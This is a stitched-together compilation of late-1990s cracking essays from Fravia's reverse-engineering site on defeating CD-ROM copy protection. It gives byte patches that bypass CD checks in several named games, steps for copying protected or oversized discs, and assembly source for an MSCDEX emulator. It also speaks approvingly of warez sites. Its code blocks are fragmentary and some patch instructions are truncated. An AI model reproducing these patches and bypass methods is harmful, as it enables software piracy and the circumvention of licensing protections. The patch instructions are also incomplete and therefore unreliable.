:00401D8A EB09 jmp 00401D95 ***THIS MAKES IT GO TO THE SETTING OF THE
:00401D8C E85F650700 call 004782F0 GOOD GUY FLAG ROUTINE & ON TO FREEDOM***
******
Obviously, if you people out there don't have a 3DFX card you can still use this
to patch the win95 exe.
******
****** LINES OF CODE
******
Well, there you go, patch away & enjoy! They say neccessity is the mother
of invention & I reckon I saved about 4 hours on a possibly fruitless
net-search for a 'ready-made' crack.
P.S.
Just in case any of you don't have it, here's the DOS version of the bytes
to patch:
****** MDK-CRK.TXT
Disassembly of Linear Executable (LE) File: Mdk.exe
******
****** MDK-ORG.TXT
:0002E103 833D2AD20A0000 cmp dword ptr [000AD22A], 00000000
:0002E10A 7409 je 0002E115
:0002E10C E89FA60400 call 000787B0
****** MDK-CRK.TXT
:0002E103 833D2AD20A0000 cmp dword ptr [000AD22A], 00000000
:0002E10A EB09 jmp 0002E115 ******* DO IT HERE! *******
:0002E10C E89FA60400 call 000787B0
******
CD-ROM faking
The increase in illegal copying and burning of CD, that -take note- we don't condone if made for
commercial purposes, seems now to be a phenomenon that has taken such a dimension that IMO the
producers should better try to understand correctly instead of annoying software reversers that have
NOTHING to do with it... see, I'm not speaking of the fact that you can buy wherever in Russia now (on
the Arbat!) whole compilations for 2 Euro (each one of them containing the most recent software, each
CD worth 4-5000 Euros) since you could have done that even before the disappearance of the good old
Soviet Union, in Singapore, Beyruth, Belgrad or even at the rastro in Madrid... and since actually
there'snt any need to spend even those 2 lonely Euros, on a huge web where you can download whatever
you fancy for free from any decent warez site.
BTW, you may as well say goodbye to copyrighted music... to use Seidman's recent words: "Dear Music
Company Executives, The software to encode music into MP3 format already exists. I already have it on
my computer. So do a lot of other people. You will not be able to stop it because it is already there. Do
you get it? I know you're scared. I don't blame you. But the genie is already out of the bottle and try as
you might, you won't be able to stuff it back in. Get over it. You can store about 150 songs in MP3
format on a CD or about 10 HOURS of music on one CD. The Diamond Rio, which holds 60 minutes of
music is only the TIP of the iceberg."
Of course Seidman's is right... and I may add that all the encryption plans of those same commercial
bastards (my own translation of music company executives :-) mean only more fun for our reversing
studies... :-)
Yet the real problem remains another, IMO: the real problem is that there are many completely 'legal'
HARDWARE fellons out there, that should worry the copyright holders even more than the
warez-pirates that sell (and protect :-) their (protected) pirated CD (like Twilight).
You want an hardware example? Here you go: Memodis has announced a CD-ROM burner that can
chain up to 28 burners together in groups of seven. It's a PC-independent hardware pirate-dream, that will
be delivered in three version, the biggest one with 7 burners and a LCD screen... now, pray tell me, who
will use this product? Ah ah... the 'free market' laws of demand and offer should always be respected... :-(
So let's do our work: let's reverse engineer software protection schemes, since this field because is
relevant for our reverse engineering studies.
CD-ROM protection schemes are based on some common tricks: first of all the idea (actively spreaded
by some software houses) that there is some space 'between tracks' on a CD, that would be written on the
original CD and checked by the protection scheme is nonsense. A Cd-ROM track is a spiral. The main
protection schemes used to day to avoid CD-ROM copying are based on the fact that CD-ROM disks
have a layout divised in tracks. The common structure is
Track #1 - MODE1
Track #2 - MODE2
Track #3 - AUDIO
Track #4 - AUDIO
Track #5 - MODE1
Note that in multisession CD-EXTRA discs the audio tracks are in the first session and there is a data
track in the second sesssion.
This 'mixed' mode stuff is used to "protect" games from being copied by beginners. Adaptect's software,
for instance cannot duplicate (on purpose) these mixed CDs. You'll need to use better software (CdWin
or, even better, Nero) to do it.
All the protection schemes based on the above structure can be easily cracked. There are two kind of
protection schemes that are more difficult to crack (yet they are not uncrackable, of course :-) and these
are Kodak Photo-CDs and Sony Playstation games (I don't mean those that you can bypass fixing the
playstatiuon unit), which both contain inside their pre-header (or subroutines) some code that initializes
the lusers' machine.
Let's have a look at the commonest tricks:
Trick: To avoid CD-copy, the most banal trick is to make the CD's bigger than the usual format. You
will therefore not be able to copy the CD on a regular (74 minutes) CD.
Bypass: there are two possible options to copy an 'enlarged' protected CD:
1) Get hold of good software that can copy more data on regular CD's (CDRWin, for instance... but the
best software IMO is Nero. If you use Nero, then 'Ignore Illegal TOC' + 'Ignore Read Errors' +
'Unreadable Data' & continue copying')
2) get CD's that are large enough to hold all the data.
3)If your CD-Recorder supports overburning (TEAC, PLEXTOR, YAMAHA) then u can enable the
overburn option in NERO ('Preferences' & Advanced settings' & 'enable CD oversize'). If you are not
sure all the data of the original disk will fit then just use a 80 minutes CD-R.
Trick: As it was to be expected, there are now a series of protection schemes out that use partitions that
are larger than the largest CD-r available. Interestingly enough, pirates have been the first one to use this
kind of protection (Twilight began using this kind of protection from number 15, and went 'bigger' from
number 21).
Bypass: 1): (simple): Crack the scheme (remove the CD-size check from the menu).
2): (expensive): use CDRWin with one of the following recorders: Plextor PX-R412 Ci; Teac CDR 55 S;
ALL Yamaha recorders; Panasonic 7502. The reason you should use CDRWIn has to do with the ToC of
all CD-Roms: Every CD contains a table of contents (TOC) and a Lead In in which is listed what is on
the CD, so the CD-ROM drive can find the data on the disc. This TOC is on every CD and will be
written by the start of every recording session. And this of course takes up space on the CD so less space
is available for the actual data. This is where CDRWin comes in; the TOC and Lead In written by
CDRWin (CDRWin: www.goldenhawk.com) are much smaller if you compare it to other recording
software (NERO: www.ahead.de; Creator Deluxe: www.adaptec.com; DiskJuggler: www.padus.com;
Prassi CD Replicator: www.prassi.com; Feurio www.feurio.de everyone of these programs can be fished
from the web)
This important project was started by the +HCU in May 1997. Take
note: part of the following essays are considered HISTORY of the
cracking scene, and relate to various CD-Rom protection schemes.
Please note that there are on the academy many other CD-related
essays that should be included in here (anyone has the will to do a
little 'polishing'? :-)
PHASE 1 by Animadei:
This asm file introduces to all future good crackers the BASIS of cd-rom emulation, which has an
obvious importance for our trade. As animadei himeself writes to me: I've taken the liberty to give my
cd-emulator source as a small contribution to the cracking community. There's a file attached to this
letter. ECD "Emulate CD" - introduces emulating a CD and substitutions of drives like "subst.exe"...
PHASE 2 by Aesculapius:
Brief Tutorial on CD Access Based Protection Schemes Under Windows, 28 August 1997
(Cracking Virtua Fighter PC)
Well, a VERY welcome contribution by our Aesculapius! It was time that somebody took care of the
CD-ROM checks, which btw, in general, are NOT very difficult to defeat. I hope that with the help of this
addition many +crackers will be stimulated and work on such schemes, bringing ahead this poor and
neglected (yet important) project 4!
PHASE 3 by +DataPimp:
Well, it was about time that somebody wrote something more! Riddler shows here how (relatively) easy it
is to reverse engineer such schemes! I hope that with the help of this addition many +crackers will be
stimulated and work on such schemes, bringing ahead this poor and neglected (yet important) project 4!
PHASE 4 by +DataPimp:
Well, +DataPimp is slowly "specialising" in this very interesting cracking subject! Here is his SECOND
essay in a very short time. Let's hope he keeps sending material, as I will repeat (once more): "I hope
that with the help of this addition many +crackers will be stimulated and work on such schemes, bringing
ahead this poor and neglected (yet important) project 4!
PHASE 5 by +ALT-F4:
A new +HCUker (that has already contributed to our site in the past) shows here how (relatively) easy it
is to reverse engineer a video patch for Tombraider... a good game btw, you'll find it on almost any
warez server... I personally prefer the older version 1 to version 2 :-)
PHASE 5 by +Rcg:
Well, a welcome "basic" addition by +Rcg, who clear things a little out on such important matters like
accessing the CD-ROM through the MSCDEX driver.
PHASE 6 by NaTzGUL:
Well, a very interesting essay. Here we have a very "sound" approach to Installshield cracking. Read
and enjoy!
PHASE 7 by -= +DataPimp =-:
You'r deep inside fravia's pages of reverse engineering, choose your way out!
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
~
Courtesy of Fravia's page of reverse engineering
~
PHASE 1 by Animadei
This asm file introduces to all future good crackers the BASIS of
cd-rom emulation, which has an obvious importance for our trade. As
animadei himeself writes to me:
This kind of cracking is very important, because once you understand the techniques
used by Animadei in its Cd-Rom emulator, you'll be able to prepare easily your own
cracking
tools
.MODEL TINY
.CODE
ORG 0100H
;********************************EQUATES*************************************
CHK1 EQU 1995H ; CHECK LOADED ID 1
CHK2 EQU 1227H ; CHECK LOADED ID 2
UNLOAD_TSR EQU 0F00DH ; UNLOAD ID QUE
;****************************************************************************
START:
JMP BEGINNING_CODE
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@INTERRUPT CODES@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
TSR_START:
PUSH BP
MOV BP,SP
CMP BYTE PTR CS:[REPLY_MSCDEX],0FFH
JNZ @@DONT_REPLY
MOV AL,0FFH
@@DONT_REPLY:
CMP WORD PTR SS:[BP+08H],0DADAH
POP BP
JZ @@YES_MSCDEX_CHECK
JMP @@IRET
@@YES_MSCDEX_CHECK:
MOV AL,0FFH
PUSH BP
MOV BP,SP
MOV WORD PTR SS:[BP+08H],0ADADH
POP BP
IRET ; RETURN
@@NOT_MSCDEX_CHECK:
; { AH CHECK }
CMP AH,15H
JNZ @@NOT_ABOUT_CDROM
; { CASE OF AL }
CMP AL,00H ; EXTENDED DRIVES CHECK
JZ @@EXTENDED_DRIVES_CHECK
@@IRET:
IRET ; RETURN
@@CDROM_DRIVE_CHECK:
CMP CL,BYTE PTR CS:[EDRIVE]
JZ @@CD_CHECK
XOR AX,AX
MOV BX,0ADADH
IRET
@@CD_CHECK:
MOV AX,0FFFFH
MOV BX,0ADADH
IRET ; RETURN
@@GET_CD_LETTERS:
PUSH AX
MOV AL,BYTE PTR CS:[EDRIVE]
MOV BYTE PTR ES:[BX],AL
POP AX
IRET ; RETURN
@@SEND_CD_REQ:
CMP CL,BYTE PTR CS:[EDRIVE]
JNZ @@NOT_EQU
MOV WORD PTR ES:[BX+03H],0100H
IRET ; RETURN
@@NOT_EQU:
MOV WORD PTR ES:[BX+03H],8001H
IRET ; RETURN
;-- UNLOAD --
PUSH AX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; RESTORE SUBST DRIVE HERE!
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
LES DI,DWORD PTR CS:[SUBST_ADDR] ; RETORE ORIGINAL SUBST DATA
MOV SI,OFFSET ORG_SUBST_DATA
MOV CX,88D
PUSH CS
POP DS
CLD
REP MOVSB
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;---------
@@NOT_CALLING_US:
MOV BX,0217H
IRET ; RETURN
;############################################################################
;#########################MAIN PROGRAM STARTS HERE###########################
;############################################################################
BEGINNING_CODE:
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;%%%%%%%%%%THESE FOLLOWING CODES ARE NOT LOADED TO MEMORY BY INT 27%%%%%%%%%%
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BEGIN_PARSING:
;--------------------
@OK___MSCDEX_FLAG:
MOV BYTE PTR [REPLY_MSCDEX],0FFH ; OPTION: MSCDEX REPLIES AT
INT 3H
;;;;
; DEC SI ; ALL TIMES
CALL SKIP_BLANKS
LODSW
JMP @OK___PASS1
@OK___OK_UNLOAD:
MOV AX,150CH ; UNLOAD!
MOV BX,CHK1
MOV CX,0F00DH
INT 2FH
OR CX,CX ; CHECK IF ANY ERROR OCCURRED
JNZ @OK____UNLOADED ; WHILE UNLOADING
MOV DX,OFFSET UNLOAD_ERR2
CALL P
MOV AL,01H
JMP @EXIT
@OK____UNLOADED:
CMP CL,01H ; IF 0 THEN WE'RE NOT LOADED
JZ @OK___UNLOAD_IT
MOV DX,OFFSET NOT_LOADED
CALL P
XOR AX,AX
JMP @EXIT
@OK___UNLOAD_IT:
MOV DX,OFFSET UNLOAD_OK
CALL P
XOR AX,AX
JMP @EXIT
@OK___PASS1:
CALL SKIP_BLANKS
CMP AL,0DH
JNZ @OK___PASS2
@OK___CUR_DIR:
MOV SI,OFFSET DIRECTORY ; GET CURRENT DIRECTORY
CALL GET_CUR_DIR
ADD AL,41H
MOV BYTE PTR [XDRIVE],AL ; SAVE THE SUBST DRIVE
JMP @END_PARSING_FOR_DIR
@OK___PASS2:
MOV SI,DI
CALL SKIP_BLANKS
JMP @GOT_DRIVE
@OK___DRIVE_SPECIFIED:
CALL CHECK4ALPHADRV ; DRIVES ARE ALPHA CHARS ONLY
MOV BYTE PTR [XDRIVE],AL
@GOT_DRIVE:
INC DI
XOR AX,AX
STOSB
CALL CHANGE_TO_TEMP_DIR
CALL CHANGE_BACK_TO_ORG_dIR
@END_PARSING_FOR_DIR:
;##########################################################################
;**************************************************************************
; SUBST THE FAKE DRIVE
;**************************************************************************
;##########################################################################
MOV AH,19H
INT 21H
MOV DL,AL
MOV AH,0EH
INT 21H
MOV DL,BYTE PTR [DRIVE]
MOV BYTE PTR [DRIVE_ERR],DL
SUB DL,41H
MOV AH,00H
CMP DL,AL
JL @OK___DRIVES_LISTED_IN_DOS
MOV DX,OFFSET DRIVE_ERR
CALL P
MOV AL,01H
JMP @EXIT
@OK___DRIVES_LISTED_IN_DOS:
CALL CHANGE_TO_TEMP_DIR
CWD
PUSH CS
POP DS
LES DI,DWORD PTR [SUBST_ADDR] ; ES:DI - EMU DRIVE
CWD
MOV DL,BYTE PTR [XDRIVE]
SUB DL,41H
MOV CX,88D
MOV AX,CX
IMUL DX
MOV SI,WORD PTR [TEMP_ADDR+02H]
MOV BX,WORD PTR [TEMP_ADDR+00H]
ADD SI,AX
ADC BX,0000H
MOV DS,BX ; DS:SI - SUBST DRIVE
REP MOVSB ; REPLACE WITH NEW DRIVE DATA
CALL CHANGE_BACK_TO_ORG_DIR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;-------------------------
@EXIT:
MOV AH,4CH
INT 21H
;-------------------------
@HELP:
MOV DX,OFFSET HELP
CALL P
XOR AX,AX
JMP @EXIT
;-------------------------
P PROC ; PRINT TO SCREEN
PUSH AX
MOV AH,09H
INT 21H
POP AX
RET
ENDP
CHECK4ALPHADRV PROC
CMP AH,':'
JZ @OK__REQ_SYMBOL ; CHECK IF EMU DRIVE SPECIFIED
JMP @HELP
@OK__REQ_SYMBOL:
GET_CUR_DIR PROC
MOV AH,19H ; GET CURRENT DRIVE
INT 21H
PUSH AX ; SAVE AX
XOR DX,DX
MOV AH,47H ; GET CURRENT DIRECTORY
INT 21H
POP AX ; RETURN AX
JNC @OK___GOT_DIRECTORY
MOV DX,OFFSET ERROR1
CALL P
MOV AL,01H
JMP @EXIT
@OK___GOT_DIRECTORY:
RET
ENDP
CHANGE_TO_TEMP_DIR PROC
MOV AH,0EH
INT 21H
MOV AH,19H ; SEE IF WE'VE CHANGED DRIVES
INT 21H
CMP DL,AL
JNZ @PRINT_ERROR
CHANGE_BACK_TO_ORG_DIR PROC
PUSH CS
PUSH CS
POP DS
POP ES
;-------------------------
E EQU 0DH,0AH
S EQU '$'
[DRIVE:(\)(DIRECTORY)(\)]',E,E
DB ' MSCDEX REPLY REGARDLESS: ECD /A ...ETC.',E,E
DB ' INSTALL: ECD A:',E
DB ' ECD Y: C:.',E
DB ' ECD X:B:DOS\',E
DB ' ECD Z: D:\WINDOWS',E
DB ' UNLOAD!: ECD /U',E,S
DRIVE_ERR: DB ?
DB ': NOT LISTED WITHIN LASTDRIVE!',E,S
TEMP_DRIVE: DB ?
TEMP_CHANGE: DB ?
TEMP_CUR_DIR: DB (70H) DUP (?)
DB ?
TEMP_ADDR: DD ?
;-------------------------
END START
That's all folk,
however, I must stress that it is really a simple method of emulating MSCDEX.EXE,
and returning values that it would in reality. If you need to simulate
an actual physical sector reads like on some CD's, then you'd just trap
the address, check how many bytes being read, dump it to disk, and make
an additional code to the assembly source I submitted to write it all
back when read's to that sector is detected by interrupt traps.
Easy as
pie!
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 4
homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is cracking illegal?
by Aesculapius
Well, a VERY welcome contribution by our Aesculapius! It was time that somebody took care of the CD-ROM checks, which
btw, in general, are NOT very difficult to defeat. I hope that with the help of this addition many +crackers will be stimulated
and work on such schemes, bringing ahead this poor and neglected (yet important) project 4!
GetDriveType
GetFileAttributesA **
GetFileSize
GetLogicalDrives
GetlogicalDriveStrings
GetLastError **
ReadFile
Any of these API's (and some others) can be used in one way or
another to query the presence and authenticity of a compact disk. In some
cases, the absence of the disk will force the API to return with an error
code. Almost all API's (in case of failed procedure) return with an error
code value of -1, 0xFFFFFFFF, equivalent to NULL. According to this, an
appropriate breakpoint on GetLastError API could be set.
:00535364 C3 ret
As you can see, a cleverly set breakpoint landed SoftICE right in the middle
of the protection scheme check. The first API is checking attributes of
certain hidden file located in the original compact disk, if the procedure
fails, it returns with EAX=-1, therefore EAX=FFFFFFFF (Valid compact disk
absent). If the API succeed, then EAX<>-1 and eventually EAX=0.
Now let's take a look at the two procedures that CALL these
API's
FIRST LOCATION
--------------
:004AC3CF 689C72B500 push 00B5729C
:004AC3D4 8D45AC lea eax, dword ptr [ebp-54]
:004AC3D7 50 push eax
:004AC3D8 E890C90700 call 00528D6D
:004AC3DD 83C410 add esp, 00000010
:004AC3E0 6A00 push 00000000
:004AC3E2 8D45AC lea eax, dword ptr [ebp-54]
:004AC3E5 50 push eax
:004AC3E6 E82C8F0800 call 00535317 ; Check File on CD
:004AC3EB 83C408 add esp, 00000008
:004AC3EE 85C0 test eax, eax ; EAX=0 Success
:004AC3F0 0F850C000000 jne 004AC402 ; If Success then Jump
:004AC3F6 33C0 xor eax, eax ; Otherwise erase EAX
:004AC3F8 E953000000 jmp 004AC450 ; Beggar off! Display NAG
:004AC3FD E94E000000 jmp 004AC450
SECOND LOCATION
---------------
Now that we know all the facts, let's discuss how the protection
scheme works: 1. There are two mirror locations that CALL the same code
segment where two API's will check the presence and authenticity of a certain
file on the compact disk. GetFileAttributesA checks the file, if any error
occurs, GetLastError API will query detailed information on that error.
Result from the query sets the Flag in EAX (which follows the standard API
convention, as EAX=FFFFFFFF is not successful). To crack this
scheme all we have to do is fake the API result.
Change:
To:
When the API fails to check the file, it'll try to return at
:0053533A with EAX=FFFFFFFF. If we change it to return with EAX=0, both
mirror locations of the protection scheme are deactivated because they use
the same common API's to accomplish their job.
Aesculapius - August 97
aesculapius@cryogen.com
aesculapius.home.ml.org
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 4
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering illegal?
WarLords 3 Cd-Check
("A Very Simple Protection")
by +-=Riddler=-+
WarLords 3 Cd-Check
"A Very Simple Protection"
by +-=Riddler=-+
This is my first cd-check protection and it was quite easy I have
to say...I was reading Aesculapius's Cd-Check Essay on Virtua Fighter
when I decided to try this.
Ok now we know that the call at "00436E45" will obviously be the checking
code. If you notice at Code Data location "00436E4D" that whatever is in
al will be moved to memory location "004CC258". Then after that return code
from al into the memory location we return program control to the calling
function. Ok in this case we are going to go to code data location "00441CFB".
At that location we find the following code:
You are deep inside fravia's page of reverse engineering, choose your way out:
by +-=Riddler=-+
Well, Riddler is slowly "specialising" in this very interesting cracking subject! Here is his SECOND
essay in a very short time. Let's hope he keeps sending material, as I will repeat (once more): "I hope
that with the help of this addition many +crackers will be stimulated and work on such schemes, bringing
ahead this poor and neglected (yet important) project 4!"
began this crack by loading "mercswin.exe" into w32dsm and I decompiled it. Ok now I decided to start
off looking in the dissembled text for "GetLogicalDrives" because as we all know is a well used function
to begin to verify a cd-rom. Along with with "GetLogicalDrives" you can also have several others such
as "GetDriveType" and "GetLogicalDriveStrings". It turns out that "GetLogicalDrives" is not used in this
program at all, but searching for it, it brought me to "GetLogicalDriveStrings" and in this case it's right
where we need and want to be. Ok, so this is the code that we find when we search for
"GetLogicalDriveStrings": * Reference To: KERNEL32.GetLogicalDriveStringsA, Ord:00E5h |
:00401036 FF1568B14000 Call dword ptr [0040B168] :0040103C 8D442410 lea eax, dword ptr
[esp+10] * StringData Ref from Data Obj ->" :\OLD_MERC.DRV" <--This is the file verified |
:00401040 6838804000 push 00408038 :00401045 50 push eax :00401046 E875090000 call 004019C0
:0040104B C7053480400000000000 mov dword ptr [00408034], 00000000 :00401055 83C408 add esp,
00000008 :00401058 803F00 cmp byte ptr [edi], 00 :0040105B 7442 je 0040109F Ok that we know the
file that the program is going to look for...Let's scroll down some and take a careful look at the code that
follows: * Reference To: KERNEL32.FindFirstFileA, Ord:0079h | :0040105D 8B3574B14000 mov esi,
dword ptr [0040B174] <--Load offset of filename * Reference To: KERNEL32.GetDriveTypeA,
Ord:00CEh | :00401063 8B2D64B14000 mov ebp, dword ptr [0040B164] * Referenced by a Jump at
Address:00401094(C) | :00401069 53 push ebx :0040106A FFD5 call ebp <--Call GetDriveTypeA
Function :0040106C 83F805 cmp eax, 5 <--Is Drive CD-Rom????? :0040106F 751D jne 0040108E
<--IF it's not get cd-rom :00401071 8D4C2424 lea ecx, dword ptr [esp+24] :00401075 FF0534804000
inc dword ptr [00408034] :0040107B 8A03 mov al, byte ptr [ebx] :0040107D 51 push ecx :0040107E
88442414 mov byte ptr [esp+14], al :00401082 8D442414 lea eax, dword ptr [esp+14] :00401086 50
push eax :00401087 FFD6 call esi :00401089 83F8FF cmp eax, FFFFFFFF <--Does Function Fail?
:0040108C 750A jne 00401098 <--If it doesn't continue Now before we do anything else with the
program we are going to concentrate on one thing and that being the fact that the "cmp eax,00000005" at
Code Offset "0040106C". Let's Review the Properties of "GetDriveTypeA" GetDriveTypeA Return
Function codes: Value Meaning 0 Drive Cannot Be determined 1 Root Dir Does not exist 2
DriveRemoveable 3 A Fixed Disk (HardDrive) 4 Remote Drive(Network) 5 Cd-Rom Drive 6 RamDisk
Ok now when "eax" is compared to "5" it is just seeing that the drive it has found is indeed a cd-rom. Ok
Break out Hiew and load up "mercswin.exe" and we are going to goto the offset of the "cmp eax, 5" we
can see that is at offset "046Ch" now we are going to change that 5 in the instruction to a "3" that way it
will look for a HardDrive instead of a Cd-Rom. Ok, so save that change and then stop a second and
think. OK, we have patched the code and it should work but there is still the manner of
":\OLD_MERC.DRV" ok so we know that it will look at it in the root dir of the drive. In this case the
drive where "mercswin.exe" installed to. Ok so create a file "OLD_MERC.DRV" in the root dir. Now
after you have done that go and try to run "mercswin.exe" and you will see that is works without a hitch.
The program will fire right up. This program simply checks for the presence of the file but does not
verify it's contents nor does it verify its date, size, time, attributes or anything of that nature. Now we can
run the program without the cd by changing one byte in the file. I have seen a crack for this before,
published by the PhroZen Crew. They packaged the "OLD_MERC.DRV" file and fakecd to run it. I
personally prefer the method I have explained above, due to the fact that this is in essence a "worldwide
crack", for any cd-rom based protection that will call that function to verify if the drive is a cd-rom. I
hope that this has shed some light on cd-protection. I should have some more essays in the near future.
Thanks and Take Care, +-=Riddler=-+ Riddler@oceansintl.com (c) Riddler 1997. All rights reversed
Indeed, Riddler, you are right! Teaching people interested in learning and working on this stuff HOW TO
reverse engineer all protection of a given kind (all software for that matter, not only protections) seems
to us (and I believe and hope that I'm speaking for the whole +HCU) much more interesting and
constructive (and correct) than releasing ready made "pre-cooked" (easy) cracks for all lusers and
leechers. People that would eventually have been able to help us, if we had only helped them a little to
develop, will never learn anything thattaway! Whatta waste!
C'mon fellow crackers of all the groups of the alphabet... you know as well as I do how much fun our
activity is... how rewarding and interesting it is to understand alien code... once you know how to
proceed... once you have learned at least some of the hundred little tricks... C'mon! Share your
knowledge with those that deserve it, instead of showing off for the greedy eyes of the "me-too" lusers!
Teach people how to start, some need only a little help to get rolling, and they will send us back
TREASURES of knowledge once they have learned the basic stuff (and the advanced techniques as well
:-)
We should never forget the words that +ORC printed in each lesson of his tut:
"Give a man a crack, and he'll be hungry again tomorrow,
You are deep inside fravia's page of reverse engineering, choose your way out:
by +Alt-F4
Well, an interesting short essay... and we are awaiting more essays on this section... few have arrived... many
had been promised: where are they?
Well, a friend of mine just got Tombraider on warez, but then needed
the Matrox Mystique video patch cracking for his video card.
I thought this would be a perfect opportunity for me to try some
DOS4GW cracking, and to see what a cd-rom protection was like.
Now I ran it again, and it succesfully found title.phd on the faked j drive
Then the target tries creating a file in the root directory of the drive
where it found the file on (in my case j:).
I then tried to use fakecd, but for some reason this program allows
file writes (or atleast it did on my system...) so it did not behave like
a read-only media (a CD-Rom) would have done...
Ok, I now had a theory about what to crack, but no idea about how to
crack it (I have never cracked a DOS4GW program before).
Once found, I then set a bpx on them, and let the program run once
more.
Only one of them ever seems to be executed, and that is the one at
82E1BAAD
Ok, So when it searches for its CD-file "title.phd" , this file must be
found successfully, yet when it searches for the random file, this must
NOT be found, and yet they both use the same code?
What's happening here?
call 82E1008E
test eax,eax
jz ....
Ok, this means that after each call, it checks for eax=FALSE.
Eax will be = 0 when the file could NOT be created or opened
successfully. 5which happens when you write on a CD-Rom,
a very simple way to check if the media is a CD, btw).
We want to fool the program into thinking that the file was not
created, like it would have happened on a "REAL" CD.
So, what do the calls at 62d and 634 do? Who cares? They are
evidently used to clean up the file, so we may as well use them
ourselves.
The easiest way to change this is to nop out the jmp at 63b, so
that it will fall through to 63D, and always set our good flag.
Therefore change
63B: EB05 JMP 642
to
63B: 31C0 XOR EAX, EAX ;ax is zero! Who cares?
;will be set true in the
;next instruction!
And it works!
Is this all? I wasn't sure, but it anyway no longer said "please
insert tomb raider cd" at the start of the program, and there
wasn't any files left in the tomb directory either... clean
crack!
+Alt-F4
(c) +Alt-F4 1997. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
+HCU
Project 4: CD-ROM related reverse engineering
CD ROM from top to down
(MSCDEX, reversing drivers and CR-ROM related interrupts)
by +RCG
Well, a welcome "basic" addition by +Rcg, who clear things a little out on such important matters like accessing the CD-ROM
through the MSCDEX driver.
net net
redirector call
Programm ----> DOS ----> MSCDEX -----> REDIRECTOR
Aplication KERNEL |
^ |
| |
| V
Commands ------- CD-DRIVER
|
|
V
CD-UNIT
0) MSCDEX
--------d-2F1500BX0000-----------------------
INT 2F - CD-ROM - INSTALLATION CHECK
AX = 1500h
BX = 0000h
Return: BX = number of CD-ROM drive letters used
CX = starting drive letter (0=A:)
Notes: this installation check DOES NOT follow the format
used by other software
this installation check conflicts with the DOS 4.00
GRAPHICS.COM installation check
BUG: this function may return an incorrect starting drive
letter when INTERLNK is installed
--------d-2F1501-----------------------------
INT 2F - CD-ROM - GET DRIVE DEVICE LIST
AX = 1501h
--------d-2F1502-----------------------------
INT 2F - CD-ROM - GET COPYRIGHT FILE NAME
AX = 1502h
ES:BX -> 38-byte buffer for name of copyright file
CX = drive number (0=A:)
Return: CF set if drive is not a CD-ROM drive
AX = 000Fh (invalid drive)
CF clear if successful
SeeAlso: AX=1503h
--------d-2F1503-----------------------------
INT 2F - CD-ROM - GET ABSTRACT FILE NAME
AX = 1503h
ES:BX -> 38-byte buffer for name of abstract file
CX = drive number (0=A:)
Return: CF set if drive is not a CD-ROM drive
AX = 000Fh (invalid drive)
CF clear if successful
SeeAlso: AX=1502h,AX=1504h
--------d-2F1504-----------------------------
INT 2F - CD-ROM - GET BIBLIOGRAPHIC DOC FILE NAME
AX = 1504h
ES:BX -> 38-byte buffer for name of bibliographic
documentation file
CX = drive number (0=A:)
Return: CF set if drive is not a CD-ROM drive
AX = 000Fh (invalid drive)
CF clear if successful
SeeAlso: AX=1502h,AX=1503h
--------d-2F1505-----------------------------
INT 2F - CD-ROM - READ VTOC
AX = 1505h
ES:BX -> 2048-byte buffer
CX = drive number (0=A:)
DX = sector index (0=first volume descriptor,
1=second,...)
Return: CF set on error
AX = error code (15=invalid drive,21=not ready)
CF clear if successful
AX = volume descriptor type (1=standard,
FFh=terminator,0=other)
Note: This function was not supported by Novell DOS 7
NWCDEX prior to the 08/16/94 update
--------d-2F1506-----------------------------
INT 2F - CD-ROM - TURN DEBUGGING ON
AX = 1506h
BX = debugging function to enable
Note: reserved for development
SeeAlso: AX=1507h
--------d-2F1507-----------------------------
INT 2F - CD-ROM - TURN DEBUGGING OFF
AX = 1507h
BX = debugging function to disable
Note: reserved for development
SeeAlso: AX=1506h
--------d-2F1508-----------------------------
INT 2F - CD-ROM - ABSOLUTE DISK READ
AX = 1508h
ES:BX -> buffer
CX = drive number (0=A:)
SI:DI = starting sector number
DX = number of sectors to read
Return: CF set on error
AL = error code(0Fh invalid drive,15h not ready)
CF clear if successful
Note: reportedly returns error 15h (not ready) under
Windows95
SeeAlso: AX=1509h
--------d-2F1509-----------------------------
INT 2F - CD-ROM - ABSOLUTE DISK WRITE
AX = 1509h
ES:BX -> buffer
CX = drive number (0=A:)
SI:DI = starting sector number
DX = number of sectors to write
Note: corresponds to INT 26h and is currently reserved
and nonfunctional
SeeAlso: AX=1508h
--------d-2F150A-----------------------------
INT 2F - CD-ROM - RESERVED
AX = 150Ah
--------d-2F150B-----------------------------
INT 2F - CD-ROM v2.00+ - DRIVE CHECK
AX = 150Bh
CX = drive number (0=A:)
Return: BX = ADADh if MSCDEX.EXE installed
AX = support status
0000h if drive not supported
nonzero if supported
SeeAlso: AX=150Dh
--------d-2F150C-----------------------------
INT 2F - CD-ROM v2.00+ -GET MSCDEX.EXE VERSION (GET VERSION)
AX = 150Ch
Return: BH = major version
BL = minor version
Notes: MSCDEX.EXE versions prior to 2.00 return BX=0000h
Corel's CORELCDX.COM v1.01d returns 2.20
v1.12a returns 2.21
Meridian Data's CDNETEX.EXE returns its own version
Windows95 returns v2.95
